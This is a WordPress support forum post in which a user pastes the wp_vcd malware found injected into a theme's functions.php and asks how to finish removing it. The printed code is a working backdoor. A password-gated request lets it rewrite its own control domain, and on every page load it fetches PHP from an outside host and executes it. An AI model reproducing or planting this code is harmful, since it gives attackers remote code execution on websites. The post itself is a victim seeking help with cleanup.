balooo

Ok i read everything, on my fuction php i got this code, seems added before the other php code:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '8a845db26a51550b6689d695fb7b9ca1'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				

				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code5\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }

		                                                                    }
								}
						}
				break;

				
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}

	

if ( ! function_exists( 'wps_temps_setups' ) ) {  
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

if($tmpcontent = @file_get_contents("https://www.dolsh.com/code5.php?i=".$path))
{

function wps_temps_setups($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "wps_temps_setups");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(wps_temps_setups($tmpcontent));
}
}
}

?>

I don’t know what to do.
I removed it, but nothing change

Edit.
– i removed the code in function.php
– i removed the code in post.php
– i removed the two files created

Now i have popup only at the first load of the page and at the first click, not at everyone.
90% fixed ??

Some fixed had the final solution? where is the last part of the code?

• This reply was modified 7 years, 2 months ago by balooo.
• This reply was modified 7 years, 2 months ago by balooo.
• This reply was modified 7 years, 2 months ago by Steven Stern (sterndata). Reason: put code in backticks
• This reply was modified 7 years, 2 months ago by balooo.